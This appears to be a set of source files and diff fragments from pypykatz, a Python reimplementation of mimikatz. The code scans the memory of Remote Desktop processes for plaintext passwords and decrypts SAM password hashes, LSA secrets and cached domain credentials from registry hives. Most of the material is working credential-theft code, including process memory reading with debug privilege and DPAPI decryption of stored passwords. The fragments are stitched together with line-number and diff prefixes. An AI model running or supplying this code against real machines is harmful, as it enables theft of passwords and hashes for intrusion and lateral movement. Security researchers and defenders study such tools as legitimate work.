137 elif property.dwType == 6:
138 if property.pvData and property.unkp2:
139 self.reader.move(property.pvData)
140 chunck = self.reader.read(property.unkp2)
141 if property.dwFlags & 0x800:
142 #print("{:<35s}\t[protect] {} (length = {})".format(szProperty, chunck, property.unkp2))
143 if self.process is None:
144 value = chunck
145 else:
146 value = self.process.dpapi_memory_unprotect(property.pvData, property.unkp2, 0)
147 if len(value) > 4:
148 value = value[4:]
149 else:
150 #print("{:<35s}\t[unprotect] {} (length = {})".format(szProperty, chunck, property.unkp2))
151 value = chunck
152
153 if value is None:
154 value = b''
155 if szProperty == "ServerName":
156 cred.servername = value
157 elif szProperty == "ServerFqdn":
158 cred.serverfqdn = value
159 elif szProperty == "UserName":
160 cred.username = value
161 elif szProperty == "Domain":
162 cred.domainname = value
163 elif szProperty == "Password" and (property.dwFlags & 0x800):
164 cred.password_raw = value
165 if self.process is None:
166 cred.password = ''
167 cred.isencrypted = True
168 else:
169 cred.password = cred.password_raw.decode('utf-16-le').rstrip('\x00')
170 cred.isencrypted = False
171 elif szProperty == "Password":
172 cred.password_raw = value
173 cred.password = value.decode('utf-16-le')
174 cred.isencrypted = False
175
176 except Exception as e: # Memory address not in process memory space
177 logger.debug("Error: {}".format(e))
178 self.reader.move(current_addr)
179
180 if cred.username:
181 self.credentials.append(cred)
182 if self.find_first:
183 return
184
185 except Exception as e: # Memory address not in process memory space
186 logger.debug("Error: {}".format(e))
187
188
189 def start(self, chunksize=10*1024):
190 #x = self.reader.find_all_global(self.decryptor_template.signature)
191 self.find_entries(chunksize)
192 if not len(self.credentials):
193 logger.debug('No RDP credentials found!')
194
195
196 class RDPCredentialDecryptorLogonpasswords:
197 def __init__(self, process, reader, decryptor_template, sysinfo, find_first=False, lower_bound=0, upper_bound=-1):
198 self.process = process
199 self.reader = reader
200 self.sysinfo = sysinfo
201 self.decryptor_template = decryptor_template
202 self.credentials = []
203 self.find_first = find_first
204 self.lower_bound = lower_bound
205 self.upper_bound = upper_bound
206
207 def add_entry(self, rdpcred_entry):
208 if hex(rdpcred_entry.unk1.value & 0xff010000) == hex(0x00010000): # mstscax & freerdp
209 bIsCandidate = True
210 elif not hex(rdpcred_entry.unk1.value & 0xffff0000): # rdesktop
211 bIsCandidate = True
212 else:
213 bIsCandidate = False
214
215 try:
216 if bIsCandidate and rdpcred_entry.cbDomain <= 512 and rdpcred_entry.cbUsername <= 512 and rdpcred_entry.cbUsername > 0 and rdpcred_entry.cbPassword <= 512 and rdpcred_entry.cbPassword > 0:
217 domainame = rdpcred_entry.Domain[:rdpcred_entry.cbDomain].decode('utf-16-le')
218 username = rdpcred_entry.UserName[:rdpcred_entry.cbUsername].decode('utf-16-le')
219 password_raw = rdpcred_entry.Password[:rdpcred_entry.cbPassword]
220
221 if self.sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value:
222 if self.process is None:
223 logger.debug('Credentials found but they are encrypted!')
224 password_raw = rdpcred_entry.Password[:16 * math.ceil(rdpcred_entry.cbPassword/16)]
225 password = ''
226 isencrypted = True
227 else:
228 password_raw = self.process.dpapi_memory_unprotect(rdpcred_entry.Password_addr, rdpcred_entry.cbPassword, 0)
229 password = password_raw.decode('utf-16-le').rstrip('\x00')
230 isencrypted = False
231 else:
232 password = password_raw.decode('utf-16-le')
233 password_raw = password_raw.split(b'\x00\x00')[0] + b'\x00'
234 isencrypted = False
235
236 cred = RDPCredential()
237 cred.domainname = domainame
238 cred.username = username
239 cred.password = password
240 cred.password_raw = password_raw
241 cred.isencrypted = isencrypted
242 self.credentials.append(cred)
243
244 else:
245 logger.debug('This RDPCred entry is garbage!')
246 except Exception as e:
247 logger.debug('RDP entry parsing error! Reason %s' % e)
248
249
250 def start(self, chunksize=10*1024):
251 reader = self.reader.get_reader()
252 handler = reader.get_handler()
253 memory_segments = reader.get_memory()
254
255 if self.upper_bound == -1:
256 self.upper_bound = len(memory_segments)
257
258 for idx, ms in enumerate(memory_segments):
259 if idx > self.lower_bound and idx < self.upper_bound:
260 x = []
261 for signature in self.decryptor_template.signatures:
262 x += ms.search(signature, handler)
263
264 for addr in x:
265 addr += self.decryptor_template.offset
266 self.reader.move(addr)
267
268 try:
269 cred = self.decryptor_template.cred_struct(self.reader)
270 except Exception as e:
271 logger.debug('Reading error! (this can be normal here) %s' % str(e))
272 continue
273
274 self.add_entry(cred)
275 if len(self.credentials) > 0 and self.find_first:
276 return
277
278
0
1 from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild
2 from pypykatz.commons.win_datatypes import POINTER, ULONG, \
3 KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, \
4 LSA_UNICODE_STRING, WORD
5 from minidump.win_datatypes import PCWSTR
6 from pypykatz.commons.common import hexdump
7
8 class RDPCredsTemplate:
9 def __init__(self):
10 self.signatures = None
11 self.signature = None
12
13 self.cred_struct = None
14 self.property_struct = None
15 self.properties_struct = None
16
17 @staticmethod
18 def get_logonpasswords_template(sysinfo):
19 template = RDPCredsTemplate()
20
21 if sysinfo.buildnumber >= WindowsBuild.WIN_8.value:
22 template.signatures = [b'\x00\x00\x00\x00\xbb\x47', b'\x00\x00\x00\x00\xf3\x47', b'\x00\x00\x00\x00\x3b\x01']
23 template.offset = 0
24 template.cred_struct = WTS_KIWI
25
26 else:
27 template.signatures = [b'\xc8\x00\x00\x00\xc8\x00\x00\x00']
28 template.offset = 16
29 template.cred_struct = WTS_KIWI_2008R2
30
31 return template
32
33 @staticmethod
34 def get_mstsc_template():
35 template = RDPCredsTemplate()
36
37 template.signature = b'\xcd\xab\xca\xdb\x03'
38 template.property_struct = TS_PROPERTY_KIWI
39 template.properties_struct = TS_PROPERTIES_KIWI
40
41 return template
42
43 # See mimikatz/modules/kuhl_m_ts.h
44 class PTS_PROPERTY_KIWI(POINTER):
45 def __init__(self, reader):
46 super().__init__(reader, TS_PROPERTY_KIWI)
47
48 class TS_PROPERTY_KIWI:
49 def __init__(self, reader):
50 reader.align()
51 self.szProperty = PCWSTR(reader).value
52 self.dwType = DWORD(reader).value
53 reader.align()
54 self.pvData = PVOID(reader).value
55 self.unkp0 = PVOID(reader).value
56 self.unkd0 = DWORD(reader).value
57 self.dwFlags = DWORD(reader).value
58 self.unkd1 = DWORD(reader).value
59 self.unkd2 = DWORD(reader).value
60 self.pValidator = PVOID(reader).value
61 self.unkp2 = PVOID(reader).value
62 self.unkp3 = PVOID(reader).value
63
64 class TS_PROPERTIES_KIWI:
65 def __init__(self, reader):
66 #self.unkp0 = PVOID(reader).value
67 #self.unkp1 = PVOID(reader).value
68 self.unkh0 = DWORD(reader).value # 0xdbcaabcd
69 self.unkd0 = DWORD(reader).value # 3
70 self.unkp2 = PVOID(reader).value
71 self.unkd1 = DWORD(reader).value # 45
72 reader.align()
73 self.unkp3 = PVOID(reader).value
74 reader.align()
75 self.pProperties_addr = reader.tell()
76 self.pProperties = PVOID(reader)#PTS_PROPERTY_KIWI(reader)
77 self.cbProperties = DWORD(reader).value
78
79 class WTS_KIWI:
80 def __init__(self, reader):
81 self.unk0 = DWORD(reader)
82 self.unk1 = DWORD(reader)
83 self.cbDomain = WORD(reader).value
84 self.cbUsername = WORD(reader).value
85 self.cbPassword = WORD(reader).value
86 self.unk2 = DWORD(reader)
87 self.Domain = reader.read(512)
88 self.UserName = reader.read(512)
89 self.Password_addr = reader.tell()
90 self.Password = reader.read(512)
91
92 class WTS_KIWI_2008R2:
93 def __init__(self, reader):
94 self.unk0 = DWORD(reader)
95 self.unk1 = DWORD(reader)
96 self.cbDomain = WORD(reader).value + 511 #making it compatible with the other version. this is probably a bool?
97 self.cbUsername = WORD(reader).value + 511
98 self.cbPassword = WORD(reader).value + 511
99 self.unk2 = DWORD(reader)
100 self.Domain = reader.read(512)
101 self.UserName = reader.read(512)
102 self.Password_addr = reader.tell()
103 self.Password = reader.read(512)
0
1 import platform
2 from pypykatz import logger
3 from minidump.minidumpfile import MinidumpFile
4 from pypykatz.commons.common import KatzSystemInfo
5 from pypykatz.rdp.packages.creds.templates import RDPCredsTemplate
6 from pypykatz.rdp.packages.creds.decryptor import RDPCredentialDecryptorLogonpasswords, RDPCredentialDecryptorMstsc
7
8 class RDPCredParser:
9 def __init__(self, process, reader, sysinfo, rdp_module, find_first=False, lower_bound=0, upper_bound=-1):
10 self.process = process
11 self.reader = reader
12 self.sysinfo = sysinfo
13 self.credentials = []
14 self.rdp_module = rdp_module
15 self.find_first = find_first
16 self.lower_bound = lower_bound
17 self.upper_bound = upper_bound
18
19 @staticmethod
20 def go_live(pid = None, all_rdp = False, live_rdp_module = None):
21 if platform.system() != 'Windows':
22 raise Exception('Live parsing will only work on Windows')
23 from pypykatz.commons.readers.local.common.live_reader_ctypes import OpenProcess, PROCESS_ALL_ACCESS
24 from pypykatz.commons.winapi.machine import LiveMachine
25 from pypykatz.commons.winapi.constants import PROCESS_VM_READ , PROCESS_VM_WRITE , PROCESS_VM_OPERATION , PROCESS_QUERY_INFORMATION , PROCESS_CREATE_THREAD
26 from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege
27 from pypykatz.commons.readers.local.live_reader import LiveReader
28 from pypykatz.commons.readers.local.process import Process
29 req_access_rights = PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD
30
31 enable_debug_privilege()
32 targets = []
33
34 if pid is not None:
35 process = Process(pid=pid, access = req_access_rights )
36 process.list_modules()
37 reader = LiveReader(process_handle=process.phandle)
38 sysinfo = KatzSystemInfo.from_live_reader(reader)
39 targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module))
40
41 else:
42 machine = LiveMachine()
43
44 if live_rdp_module == "logonpasswords" and all_rdp is False:
45 for service_name, display_name, pid in machine.list_services():
46 if service_name == 'TermService':
47 process = Process(pid=pid, access = req_access_rights )
48 reader = LiveReader(process_handle=process.phandle)
49 sysinfo = KatzSystemInfo.from_live_reader(reader)
50 targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module))
51
52 if live_rdp_module == "mstsc" and all_rdp is False:
53 for pid in machine.list_all_pids():
54 try:
55 process = Process(pid=pid, access = req_access_rights )
56 for module in process.list_modules():
57 if module.name.lower().find("mstscax.dll") != -1:
58 reader = LiveReader(process_handle=process.phandle)
59 sysinfo = KatzSystemInfo.from_live_reader(reader)
60 targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module))
61 break
62 except Exception as e:
63 #import traceback
64 #traceback.print_exc()
65 pass
66 if len(targets):
67 break
68
69 if all_rdp is True:
70 for pid in machine.list_all_pids():
71 try:
72 process = Process(pid=pid, access = req_access_rights )
73 for module in process.list_modules():
74 if module.name.lower().find("mstscax.dll") != -1 or module.name.lower().find("rdpcorets.dll") != -1:
75 reader = LiveReader(process_handle=process.phandle)
76 sysinfo = KatzSystemInfo.from_live_reader(reader)
77 targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module))
78 break
79 except Exception as e:
80 #import traceback
81 #traceback.print_exc()
82 print(e)
83
84 for target in targets:
85 target.start()
86 return targets
87
88 @staticmethod
89 def parse_minidump_file(filename, rdp_module, chunksize = 10*1024):
90 try:
91 minidump = MinidumpFile.parse(filename)
92 reader = minidump.get_reader().get_buffered_reader(segment_chunk_size=chunksize)
93 sysinfo = KatzSystemInfo.from_minidump(minidump)
94 except Exception as e:
95 logger.exception('Minidump parsing error!')
96 raise e
97 try:
98 mimi = RDPCredParser(None, reader, sysinfo, rdp_module)
99 mimi.start()
100 except Exception as e:
101 logger.info('Credentials parsing error!')
102 raise e
103 return [mimi]
104
105 def rdpcreds(self):
106 if self.rdp_module == "logonpasswords":
107 decryptor_template = RDPCredsTemplate.get_logonpasswords_template(self.sysinfo)
108 decryptor = RDPCredentialDecryptorLogonpasswords(self.process, self.reader, decryptor_template, self.sysinfo, find_first=self.find_first, lower_bound=self.lower_bound, upper_bound=self.upper_bound)
109 else: # mstsc
110 decryptor_template = RDPCredsTemplate.get_mstsc_template()
111 decryptor = RDPCredentialDecryptorMstsc(self.process, self.reader, decryptor_template, self.sysinfo, find_first=self.find_first)
112
113 decryptor.start()
114
115 for cred in decryptor.credentials:
116 self.credentials.append(cred)
117
118 def start(self):
119 self.rdpcreds()
4040 await self.sam.get_secrets()
4141
4242 if self.security_hive:
43 self.security = SECURITY(self.security_hive, bootkey)
43 self.security = SECURITY(self.security_hive, bootkey, self.system)
4444 await self.security.get_secrets()
4545
4646 if self.software_hive:
4848 await self.software.get_default_logon()
4949
5050 def to_file(self, file_path, json_format = False):
51 with open(file_path, 'w', newline = '') as f:
51 with open(file_path, 'a', newline = '') as f:
5252 if json_format == False:
5353 f.write(str(self))
5454 else:
33 # Tamas Jos (@skelsec)
44 #
55
6 import os
76 import json
8 import glob
9 import ntpath
107 import traceback
118
12 from pypykatz import logging
9 from pypykatz import logger
1310 from pypykatz.commons.common import UniversalEncoder
1411
1512
5552 lr = LiveRegistry.go_live()
5653 except Exception as e:
5754 traceback.print_exc()
58 logging.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e))
55 logger.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e))
5956 try:
6057 from pypykatz.registry.offline_parser import OffineRegistry
6158 lr = OffineRegistry.from_live_system()
6259 except Exception as e:
63 logging.debug('Failed to obtain registry secrets via filedump method')
60 logger.debug('Failed to obtain registry secrets via filedump method')
6461
6562 if lr is not None:
6663 self.process_results(lr, args)
7878 pass
7979
8080 def to_file(self, file_path, json_format = False):
81 with open(file_path, 'w', newline = '') as f:
81 with open(file_path, 'a', newline = '') as f:
8282 if json_format == False:
8383 f.write(str(self))
8484 else:
4040 self.sam.get_secrets()
4141
4242 if self.security_hive:
43 self.security = SECURITY(self.security_hive, bootkey)
43 self.security = SECURITY(self.security_hive, bootkey, self.system)
4444 self.security.get_secrets()
4545
4646 if self.software_hive:
5757 pass
5858
5959 def to_file(self, file_path, json_format = False):
60 with open(file_path, 'w', newline = '') as f:
60 with open(file_path, 'a', newline = '') as f:
6161 if json_format == False:
6262 f.write(str(self))
6363 else:
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import hashlib
6 import hmac
7 import io
8 from pypykatz.registry.sam.structures import *
9 from pypykatz.crypto.RC4 import RC4
10 from pypykatz.crypto.aes import AESModeOfOperationCBC
11 from pypykatz.crypto.des import des, expand_DES_key
125
13 #####
14 from pypykatz.registry.sam.structures import *
15 from pypykatz.registry.sam.common import *
6 from unicrypto import hashlib
7 from unicrypto.symmetric import RC4, AES, MODE_CBC, expand_DES_key, DES
8
169 from pypykatz.registry import logger
17 from pypykatz.commons.win_datatypes import SID
10 from pypykatz.registry.sam.common import SAMSecret
11 from pypykatz.registry.sam.structures import SAM_HASH, DOMAIN_ACCOUNT_F,\
12 SAM_KEY_DATA, SAM_KEY_DATA_AES, USER_ACCOUNT_V, SAM_HASH_AES
13
1814
1915 #
2016 # The SAM hive holds the hashed passwords of the LOCAL machine users
4137
4238 def decrypt_hash(self, rid, hashobj, constant):
4339 key1, key2 = SAM.rid_to_key(rid)
44 des1 = des(key1)
45 des2 = des(key2)
40 des1 = DES(key1)
41 des2 = DES(key2)
4642
4743 if isinstance(hashobj, SAM_HASH):
4844 rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest()
5046
5147 else:
5248 key = b''
53 cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt)
49 cipher = AES(self.hashed_bootkey[:0x10], MODE_CBC, IV = hashobj.salt)
5450 n = 16
5551 for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround
5652 key += cipher.decrypt(block)
8379
8480 elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES):
8581 self.hashed_bootkey = b''
86 cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt)
82 cipher = AES(self.bootkey, MODE_CBC, IV = domain_properties.key_0.salt)
8783 n = 16
8884 for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround
8985 self.hashed_bootkey += cipher.decrypt(block)
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import hashlib
6 import hmac
7 import io
8 from pypykatz.registry.sam.structures import *
9 from pypykatz.crypto.RC4 import RC4
10 from pypykatz.crypto.aes import AESModeOfOperationCBC
11 from pypykatz.crypto.des import des, expand_DES_key
125
13 #####
14 from pypykatz.registry.sam.structures import *
15 from pypykatz.registry.sam.common import *
6 from unicrypto import hashlib
7 from unicrypto.symmetric import RC4, AES, MODE_CBC, expand_DES_key, DES
8
169 from pypykatz.registry import logger
17 from pypykatz.commons.win_datatypes import SID
10 from pypykatz.registry.sam.common import SAMSecret
11 from pypykatz.registry.sam.structures import SAM_HASH, DOMAIN_ACCOUNT_F,\
12 SAM_KEY_DATA, SAM_KEY_DATA_AES, USER_ACCOUNT_V, SAM_HASH_AES
1813
1914 #
2015 # The SAM hive holds the hashed passwords of the LOCAL machine users
4136
4237 def decrypt_hash(self, rid, hashobj, constant):
4338 key1, key2 = SAM.rid_to_key(rid)
44 des1 = des(key1)
45 des2 = des(key2)
39 des1 = DES(key1)
40 des2 = DES(key2)
4641
4742 if isinstance(hashobj, SAM_HASH):
4843 rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest()
5045
5146 else:
5247 key = b''
53 cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt)
48 cipher = AES(self.hashed_bootkey[:0x10], MODE_CBC, IV = hashobj.salt)
5449 n = 16
5550 for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround
5651 key += cipher.decrypt(block)
8277
8378 elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES):
8479 self.hashed_bootkey = b''
85 cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt)
80 cipher = AES(self.bootkey, MODE_CBC, IV = domain_properties.key_0.salt)
8681 n = 16
8782 for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround
8883 self.hashed_bootkey += cipher.decrypt(block)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from unicrypto.hashlib import md4 as MD4
7 from pypykatz.dpapi.structures.system import DPAPI_SYSTEM
8 from pypykatz.commons.common import hexdump
9
10 #
11 # These classes used to "standardise" the different secrets that can be obtained from the SECURITY hive
12 # The so-called LSA secrets can be of any format, therefore if the parser doesnt find an appropriate class for the secret
13 # it will store the decrypted secret in raw bytes
14 #
15 #
16
17 class LSASecret:
18 def __init__(self,key_name, raw_secret, history = False):
19 self.raw_secret = raw_secret
20 self.key_name = key_name
21 self.history = history
22
23 @staticmethod
24 async def process(key_name, raw_secret, history = False, system_hive = None):
25 kn = key_name.upper()
26 if len(raw_secret) == 0:
27 return
28 if raw_secret.startswith(b'\x00\x00'):
29 return
30
31 if kn.startswith('_SC_'):
32 lss = LSASecretService(kn, raw_secret, history, system_hive)
33 await lss.process_secret()
34
35 elif kn.startswith('DEFAULTPASSWORD'):
36 lss = LSASecretDefaultPassword(kn, raw_secret, history)
37 lss.process_secret()
38
39 elif kn.startswith('ASPNET_WP_PASSWORD'):
40 lss = LSASecretASPNET(kn, raw_secret, history)
41 lss.process_secret()
42
43 elif kn.startswith('DPAPI_SYSTEM'):
44 lss = LSASecretDPAPI(kn, raw_secret, history)
45 lss.process_secret()
46
47 elif kn.startswith('$MACHINE.ACC'):
48 lss = LSASecretMachineAccount(kn, raw_secret, history)
49 lss.process_secret()
50
51 else:
52 lss = LSASecret(kn, raw_secret, history)
53
54 return lss
55
56 def __str__(self):
57 return '=== LSASecret %s ===\r\n' % self.key_name + '\r\nHistory: %s' % self.history + '\r\nSecret: \r\n' + hexdump(self.raw_secret)
58
59 def to_dict(self):
60 t = {}
61 t['type'] = 'LSASecret'
62 t['key_name'] = self.key_name
63 t['history'] = self.history
64 t['raw_secret'] = self.raw_secret
65 return t
66
67 class LSASecretService(LSASecret):
68 def __init__(self, key_name, raw_secret, history, system_hive = None):
69 LSASecret.__init__(self, key_name, raw_secret, history)
70 self.system_hive = system_hive
71 self.service = None
72 self.username = None
73 self.secret = None
74
75 async def process_secret(self):
76 try:
77 self.secret = self.raw_secret.decode('utf-16-le')
78 except:
79 self.secret = self.raw_secret.hex()
80 else:
81 #here you may implement a mechanism to fetch the service user's name
82 #TODO
83 self.service = self.key_name
84 self.username = 'UNKNOWN'
85 if self.system_hive is not None:
86 self.username = await self.system_hive.get_service_user(self.key_name[4:])
87
88 def __str__(self):
89 return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret)
90
91 def to_dict(self):
92 t = {}
93 t['type'] = 'LSASecretService'
94 t['key_name'] = self.key_name
95 t['history'] = self.history
96 t['username'] = self.username
97 t['secret'] = self.secret
98 t['service'] = self.service
99 return t
100
101
102 class LSASecretDefaultPassword(LSASecret):
103 def __init__(self, key_name, raw_secret, history):
104 LSASecret.__init__(self, key_name, raw_secret, history)
105 self.username = None
106 self.secret = None
107
108 def process_secret(self):
109 try:
110 self.secret = self.raw_secret.decode('utf-16-le')
111 except:
112 pass
113 else:
114 #here you may implement a mechanism to fetch the default logon user
115 #TODO
116 self.username = 'UNKNOWN'
117
118 def __str__(self):
119 return '=== LSA Default Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret)
120
121 def to_dict(self):
122 t = {}
123 t['type'] = 'LSASecretDefaultPassword'
124 t['key_name'] = self.key_name
125 t['history'] = self.history
126 t['username'] = self.username
127 t['secret'] = self.secret
128 return t
129
130 class LSASecretASPNET(LSASecret):
131 def __init__(self, key_name, raw_secret, history):
132 LSASecret.__init__(self, key_name, raw_secret, history)
133 self.username = 'ASPNET'
134 self.secret = None
135
136 def process_secret(self):
137 try:
138 self.secret = self.raw_secret.decode('utf-16-le')
139 except:
140 pass
141
142 def __str__(self):
143 return '=== LSA ASPNET Password ===\r\nHistory: %s\r\nUsername: %s\r\nPassword: %s' % (self.history, self.username,self.secret)
144
145 def to_dict(self):
146 t = {}
147 t['type'] = 'LSASecretASPNET'
148 t['key_name'] = self.key_name
149 t['history'] = self.history
150 t['username'] = self.username
151 t['secret'] = self.secret
152 return t
153
154 class LSASecretMachineAccount(LSASecret):
155 def __init__(self, key_name, raw_secret, history):
156 LSASecret.__init__(self, key_name, raw_secret, history)
157 self.username = None
158 self.secret = None
159 self.kerberos_password = None
160
161 def process_secret(self):
162 #only the NT hash is calculated here
163 ctx = MD4(self.raw_secret)#hashlib.new('md4')
164 #ctx.update(self.raw_secret)
165 self.secret = ctx.digest()
166
167 #thx dirkjan
168 self.kerberos_password = self.raw_secret.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
169
170 def to_dict(self):
171 t = {}
172 t['type'] = 'LSASecretMachineAccount'
173 t['key_name'] = self.key_name
174 t['history'] = self.history
175 t['username'] = self.username
176 t['secret'] = self.secret
177 t['kerberos_password'] = self.kerberos_password
178 return t
179
180 def __str__(self):
181 return '=== LSA Machine account password ===\r\nHistory: %s\r\nNT: %s\r\nPassword(hex): %s\r\nKerberos password(hex): %s' % (self.history, self.secret.hex(), self.raw_secret.hex(), self.kerberos_password.hex())
182
183
184 class LSASecretDPAPI(LSASecret):
185 def __init__(self, key_name, raw_secret, history):
186 LSASecret.__init__(self, key_name, raw_secret, history)
187 self.machine_key = None
188 self.user_key = None
189
190 def process_secret(self):
191 ds = DPAPI_SYSTEM.from_bytes(self.raw_secret)
192 self.machine_key = ds.machine_key
193 self.user_key = ds.user_key
194
195 def to_dict(self):
196 t = {}
197 t['type'] = 'LSASecretDPAPI'
198 t['key_name'] = self.key_name
199 t['history'] = self.history
200 t['machine_key'] = self.machine_key
201 t['user_key'] = self.user_key
202 return t
203
204 def __str__(self):
205 return '=== LSA DPAPI secret ===\r\nHistory: %s\r\nMachine key (hex): %s\r\nUser key(hex): %s' % (self.history, self.machine_key.hex(), self.user_key.hex())
206
207 class LSADCCSecret:
208 def __init__(self, version, domain, username, hash_value, iteration = None):
209 self.version = version
210 self.domain = domain
211 self.username = username
212 self.iteration = iteration
213 self.hash_value = hash_value
214
215 def to_dict(self):
216 t = {}
217 t['version'] = self.version
218 t['domain'] = self.domain
219 t['username'] = self.username
220 t['iteration'] = self.iteration
221 t['hash_value'] = self.hash_value
222 return t
223
224 def __str__(self):
225 return self.to_lopth()
226
227 def to_lopth(self):
228 if self.version == 1:
229 return "%s/%s:%s:%s" % (self.domain, self.username, self.hash_value.hex(), self.username)
230 else:
231 return "%s/%s:$DCC2$%s#%s#%s" % (self.domain, self.username, self.iteration, self.username, self.hash_value.hex())
55 import hashlib
66 import hmac
77 from pypykatz.registry.sam.structures import *
8 from pypykatz.crypto.RC4 import RC4
9 from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter
10 from pypykatz.crypto.des import *
8 from unicrypto.symmetric import RC4, DES, AES, expand_DES_key, MODE_CBC
119
1210
1311 #####
1412 from pypykatz.registry.security.structures import *
15 from pypykatz.registry.security.common import *
13 from pypykatz.registry.security.acommon import *
1614 from pypykatz.registry import logger
1715 from pypykatz.commons.common import hexdump
1816
2422 # as this functionality can be used by any service that wants to stroe some secret information
2523
2624 class SECURITY:
27 def __init__(self, security_hive, bootkey):
25 def __init__(self, security_hive, bootkey, system_hive = None):
2826 self.hive = security_hive
27 self.system_hive = system_hive
2928 self.bootkey = bootkey
3029
3130 self.dcc_iteration_count = 10240
5049 record = LSA_SECRET.from_bytes(data)
5150 key = SECURITY.sha256_multi(self.bootkey, record.data[:32])
5251 secret_dec = b''
53 cipher = AESModeOfOperationECB(key)
52 cipher = AES(key)
5453 n = 16
5554 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
5655 if len(block) < n:
9594 for _ in range(0, len(value), 8):
9695 enc_blob = value[:8]
9796 des_key = expand_DES_key(t_key[:7])
98 ctx = des(des_key)
97 ctx = DES(des_key)
9998 dec_blob += ctx.decrypt(enc_blob)
10099 t_key = t_key[7:]
101100 value = value[8:]
119118 self.NKLM_key = b''
120119 record = LSA_SECRET.from_bytes(value[1])
121120 key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
122 cipher = AESModeOfOperationECB(key)
121 cipher = AES(key)
123122 n = 16
124123 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
125124 if len(block) < n:
178177 # Encrypted
179178 if self.lsa_secret_key_vista_type is True:
180179 plaintext = b''
181 cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV)
180 cipher = AES(self.NKLM_key[16:32], MODE_CBC, IV = record.IV)
182181 n = 16
183182 for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround
184183 if len(block) < 16:
235234 record = LSA_SECRET.from_bytes(v[1])
236235 key = SECURITY.sha256_multi(self.lsa_key, record.data[:32])
237236 secret_dec = b''
238 cipher = AESModeOfOperationECB(key)
237 cipher = AES(key)
239238 n = 16
240239 for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround
241240 if len(block) < n:
247246 else:
248247 dec_blob = self.decrypt_secret(self.lsa_key, v[1])
249248
250 secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal')
249 secret = await LSASecret.process(key_name, dec_blob, vl == 'OldVal', self.system_hive)
251250 if secret is not None:
252251 self.cached_secrets.append(secret)
253252
33 # Tamas Jos (@skelsec)
44 #
55
6 from pypykatz.crypto.MD4 import MD4
6 from unicrypto.hashlib import md4 as MD4
77 from pypykatz.dpapi.structures.system import DPAPI_SYSTEM
88 from pypykatz.commons.common import hexdump
99
2121 self.history = history
2222
2323 @staticmethod
24 def process(key_name, raw_secret, history = False):
24 def process(key_name, raw_secret, history = False, system_hive = None):
2525 kn = key_name.upper()
2626 if len(raw_secret) == 0:
2727 return
2929 return
3030
3131 if kn.startswith('_SC_'):
32 lss = LSASecretService(kn, raw_secret, history)
32 lss = LSASecretService(kn, raw_secret, history, system_hive)
3333 lss.process_secret()
3434
3535 elif kn.startswith('DEFAULTPASSWORD'):
6565 return t
6666
6767 class LSASecretService(LSASecret):
68 def __init__(self, key_name, raw_secret, history):
69 LSASecret.__init__(self, key_name, raw_secret, history)
68 def __init__(self, key_name, raw_secret, history, system_hive = None):
69 LSASecret.__init__(self, key_name, raw_secret, history)
70 self.system_hive = system_hive
7071 self.service = None
7172 self.username = None
7273 self.secret = None
7576 try:
7677 self.secret = self.raw_secret.decode('utf-16-le')
7778 except:
78 pass
79 self.secret = self.raw_secret.hex()
7980 else:
8081 #here you may implement a mechanism to fetch the service user's name
8182 #TODO
8283 self.service = self.key_name
8384 self.username = 'UNKNOWN'
84
85 if self.system_hive is not None:
86 print(self.key_name[4:])
87 self.username = self.system_hive.get_service_user(self.key_name[4:])
88
8589 def __str__(self):
8690 return '=== LSA Service User Secret ===\r\nHistory: %s\r\nService name: %s \r\nUsername: %s' % (self.history, self.service, self.username) + '\r\n' + hexdump(self.secret)
8791
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import hashlib
6 import hmac
7 from pypykatz.registry.sam.structures import *
8 from pypykatz.crypto.RC4 import RC4
